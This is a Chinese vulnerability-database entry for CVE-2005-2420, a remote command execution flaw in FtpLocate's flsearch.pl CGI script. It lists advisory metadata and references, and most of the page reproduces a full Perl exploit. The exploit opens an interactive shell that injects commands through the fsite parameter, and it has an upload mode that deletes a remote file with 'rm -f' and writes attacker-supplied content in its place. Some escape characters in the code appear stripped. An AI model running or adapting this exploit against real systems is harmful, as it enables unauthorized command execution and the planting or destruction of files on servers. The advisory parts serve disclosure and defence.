FTPLocate ‘flsearch.pl’ 远程命令执行漏洞

FTPLocate ‘flsearch.pl’ 远程命令执行漏洞

漏洞ID 1108944 漏洞类型 输入验证
发布时间 2005-07-25 更新时间 2005-10-20
图片[1]-FTPLocate ‘flsearch.pl’ 远程命令执行漏洞-安全小百科CVE编号 CVE-2005-2420
图片[2]-FTPLocate ‘flsearch.pl’ 远程命令执行漏洞-安全小百科CNNVD-ID CNNVD-200508-028
漏洞平台 CGI CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/1120
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-028
|漏洞详情
FtpLocate2.02中的flsearch.pl允许远程攻击者可以借助于HTTPGET请求中的shell元字符执行任意的命令。
|漏洞EXP
## Alot of code for a cgi | vuln. 
# /str0ke

#!/usr/bin/perl
#
# FtpLocate <= 2.02 (current) remote exploit
# VERY PRIVATE VERSION
# DO NOT DISTRIBUTE
#
# newbug Tseng [at] chroot.org
#

sub my_socket
{
       my $s=IO::Socket::INET->new(PeerAddr => $host,
                               PeerPort => 80,
                               Proto => "tcp") or die "socket: ";
}
sub ch2hex
{
       $chr = $_[0];
       $out="";
       for($i=0;$i<length($chr);$i++)
       {
               $ch = substr($chr,$i,1);

               if($ch eq """)
               {
                       $out.="%5c%22";
               }

               elsif($ch eq "$")
               {
                       $out.="%5c%24";
               }
               elsif($ch eq "@")
               {
                       $out.="%5c%40";
               }
               else
               {
                       $out.="%".sprintf("%2.2x",ord($ch));
               }
       }
       $out;
}
sub upload_file
{
       print "local file: ";
       chomp($lfile = <STDIN>);
       print "remote file: ";
       chomp($rfile = <STDIN>);

       my $socket = &my_socket($host);
       print $socket "GET $cgi?query=xx&fsite=|rm%20-f%20$rfile| $junk";
       close $socket;
       print "remove $host:$rfile done.n";

       my @DATA = `cat $lfile`;
       $num=1;
       $total = scalar @DATA;
       foreach $DATA (@DATA)
       {
               $DATA = &ch2hex($DATA);
               my $socket = &my_socket($host);
               print $socket "GET $cgi?query=xx&fsite=|echo%20"$DATA"%20>>$rfile| $junk";
               print "Send lfile "$lfile" to $host:$rfile ... ($num/$total)n";
               sleep(1);
               close $socket;
               $num++;
       }
}
use IO::Socket::INET;

print "FtpLocate flsearch.pl remote exploitn";
print "host: ";
chomp ($host = <STDIN>);
print "port (80): ";
chomp ($port = <STDIN>);
if($port eq "")
{
       $port = 80;
}
print "version 1.0/1.1 (1.0): ";
chomp ($ver = <STDIN>);
if($ver eq "")
{
       $ver = "1.0";
}
print "cmd/upload (cmd): ";                                                     chomp ($opt = <STDIN>);
if($opt eq "")                                                                  {
       $opt = "cmd";
}
print "cgi path (/cgi-bin/ftplocate/flsearch.pl): ";
chomp ($cgi = <STDIN>);
if($cgi eq "")
{
       $cgi = "/cgi-bin/ftplocate/flsearch.pl";
}
if($ver eq "1.0")
{
       $junk = "HTTP/1.0nn";
}
else
{
       $junk = "HTTP/1.1nHost: $hostnUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1nAccept-Language: zh-tw,en-us;q=0.7,en;q=0.3nAccept-Encoding: gzip,deflatenAccept-Charset: Big5,utf-8;q=0.7,*;q=0.7nKeep-Alive: 300nConnection: keep-alivenn";                                        }
if($opt eq "cmd")
{
       while(1){
               print "h4ck3r@[$host]:~$ ";
               chomp ($cmd = <STDIN>);
               if($cmd ne "")
               {
                       print "Send command "$cmd" to $host ...n";
                       $socket = &my_socket($host);
                       $cmd =~ s/s/%20/g;

                       print $socket "GET $cgi?query=xx&fsite=|$cmd| $junk";
                       print "done.n";
               }
       }
}
elsif($opt eq "upload")
{
       &upload_file($lfile);
}
	print "done.n";

# milw0rm.com [2005-07-25]
|参考资料

来源:XF
名称:ftplocate-fsite-command-execution(21540)
链接:http://xforce.iss.net/xforce/xfdb/21540
来源:BID
名称:14367
链接:http://www.securityfocus.com/bid/14367
来源:OSVDB
名称:18305
链接:http://www.osvdb.org/18305
来源:SECTRACK
名称:1014570
链接:http://securitytracker.com/id?1014570
来源:SECUNIA
名称:16218
链接:http://secunia.com/advisories/16218
来源:BUGTRAQ
名称:20050725ChrootSecurityGroupAdvisory2005-07-25–ftplocate
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112230697123357&w;=2

相关推荐: Apache Web Server Type-Map Recursive Loop Denial Of Service Vulnerability

Apache Web Server Type-Map Recursive Loop Denial Of Service Vulnerability 漏洞ID 1099828 漏洞类型 Design Error 发布时间 2003-07-08 更新时间 2003…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享